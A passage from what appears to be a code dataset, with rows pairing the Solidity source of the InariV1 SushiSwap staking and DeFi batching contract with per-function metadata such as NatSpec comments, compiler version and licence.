ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | stakeSushiToBento | function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
| /// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
14236,
14760
]
} | 11,789 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | unstakeSushiFromBento | function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
| /// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
14986,
15417
]
} | 11,790 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
